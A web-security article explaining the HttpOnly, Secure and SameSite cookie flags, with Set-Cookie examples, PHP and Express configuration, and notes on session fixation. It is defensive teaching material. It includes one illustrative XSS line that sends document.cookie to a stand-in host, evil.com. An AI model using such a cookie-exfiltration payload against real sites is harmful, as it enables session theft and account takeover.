Skip to content
RU
← All articles

Cookie Security Flags: HttpOnly, Secure, SameSite

Browser developer tools showing the cookies table with columns of security flags

In short. Three flags decide what an attacker can do with a session cookie: HttpOnly keeps script from reading it, Secure keeps it off plaintext connections, and SameSite decides whether it is sent on cross-site requests. Missing any one of them turns a different class of bug into account takeover.

Cookies are the primary mechanism for session storage and authentication on the web. Misconfigured cookies open doors to attacks: session theft via XSS, request forgery via CSRF, and data interception over HTTP. Three key flags — HttpOnly, Secure, and SameSite — close most of these vulnerabilities.

The HttpOnly Flag

The HttpOnly flag prevents JavaScript from accessing the cookie. The browser sends the cookie with HTTP requests, but document.cookie cannot see it.

Without this flag, an attacker can inject a script through an XSS vulnerability and steal the session cookie:

// XSS attack without HttpOnly
new Image().src = "https://evil.com/steal?c=" + document.cookie;

With the HttpOnly flag, this attack is impossible — JavaScript simply has no access to the cookie.

When to use: always for session cookies and authentication tokens. Do not set it for cookies that JavaScript needs (e.g., theme or language preferences).

Set-Cookie: session_id=abc123; HttpOnly; Path=/

The Secure Flag

The Secure flag ensures the cookie is only transmitted over HTTPS. Without this flag, the cookie can be intercepted during HTTP transmission — for example, on public Wi-Fi networks.

Man-in-the-middle attack without the Secure flag:

  1. User connects to public Wi-Fi
  2. Browser sends an HTTP request (before the HTTPS redirect)
  3. Cookie is transmitted in plaintext
  4. Attacker intercepts the session

When to use: always, if your site runs on HTTPS (and it should). All session and authentication cookies must have this flag.

Set-Cookie: session_id=abc123; Secure; HttpOnly; Path=/

The SameSite Attribute

The SameSite attribute controls whether the cookie is sent with cross-site requests. It is the primary defense against CSRF attacks.

SameSite=Strict

The cookie is never sent with cross-site requests. Maximum security, but it can hurt UX — if a user follows a link to your site from an email, they won't be logged in.

SameSite=Lax

The cookie is sent with top-level navigation (clicking a link) but not with POST requests, iframes, or AJAX from other sites. This is the default value in modern browsers — a good balance of security and usability.

SameSite=None

The cookie is sent with all cross-site requests. Requires the Secure flag. Use only when the cookie is genuinely needed on another domain (widgets, OAuth, iframe integrations).

// Recommended settings for session cookie
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

// For cross-site widget
Set-Cookie: widget_token=xyz; Secure; SameSite=None; Path=/

Domain

Defines which domain can access the cookie. Without the Domain attribute, the cookie is bound to the exact domain only. With Domain=.example.com, it's accessible to all subdomains.

Recommendation: don't set Domain unless necessary. The narrower the scope, the more secure.

Path

Restricts the cookie to a specific path. Path=/admin means the cookie is only sent for requests to /admin and nested paths.

Max-Age and Expires

Max-Age sets the cookie's lifetime in seconds. Expires sets an absolute date. Without either, the cookie is a session cookie and is deleted when the browser closes.

Set-Cookie: remember_me=token; Max-Age=2592000; HttpOnly; Secure; SameSite=Lax

Special name prefixes provide additional guarantees:

  • __Secure- — cookie must have the Secure flag
  • __Host- — cookie must have Secure, Path=/, and no Domain
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/

For a typical web application:

// PHP
session_set_cookie_params([
    'lifetime' => 0,       // Session cookie
    'path'     => '/',
    'domain'   => '',      // Current domain only
    'secure'   => true,    // HTTPS only
    'httponly'  => true,    // No JS access
    'samesite' => 'Lax'   // CSRF protection
]);

PHP

session_set_cookie_params([
  'lifetime' => 0,
  'path'     => '/',
  'secure'   => true,
  'httponly' => true,
  'samesite' => 'Strict',
]);
session_start();

setcookie('csrf_token', $token, [
  'expires'  => time() + 3600,
  'path'     => '/',
  'secure'   => true,
  'httponly' => true,
  'samesite' => 'Strict',
]);

Express / NestJS

app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 3600_000,
  },
}));

res.cookie('token', jwt, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
  maxAge: 3600_000,
  path: '/',
});

Session fixation and regenerate_id

Always call session_regenerate_id(true) (PHP) or equivalent after login — otherwise an attacker can pre-plant a session ID.

if (loginSuccess($user, $pass)) {
    session_regenerate_id(true);
    $_SESSION['user_id'] = $user['id'];
}

Use the Enterno.io Security Scanner to check your website's security headers, including cookie settings. In Chrome DevTools, you can view cookies under Application → Cookies, where all flags for each cookie are visible.

FAQ

Is SameSite=Lax safe? For most apps, yes. For banking-grade operations use Strict plus a CSRF token.

Why doesn't my cookie show up in cross-domain fetch? Requires credentials: 'include', CORS with Allow-Credentials: true, and SameSite=None; Secure.

Does __Host- break subdomains? Yes — scoped to the exact host. app.example.com and api.example.com need separate cookies.

JWT in a cookie? Yes — safer than localStorage (HttpOnly defeats XSS). Pair with CSRF token or SameSite=Strict.

Summary

Three flags — HttpOnly, Secure, SameSite — are mandatory for all session cookies. They protect against XSS session theft, MITM interception, and CSRF attacks. Configure them once and close an entire class of vulnerabilities.

Check your website right now

Check your site's security →
More articles: Security
Security
How to Check a Website for Malware: 4 Layers and a Cleanup
01.04.2026 · 1 217 views
Security
Web Server Security Hardening Checklist: Nginx and Apache
16.03.2026 · 615 views
Security
How to Check a Website for Fraud: 12 Signs of a Phishing Site
18.07.2026 · 523 views
Security
HSTS and Preload List: Complete Implementation Guide
16.03.2026 · 513 views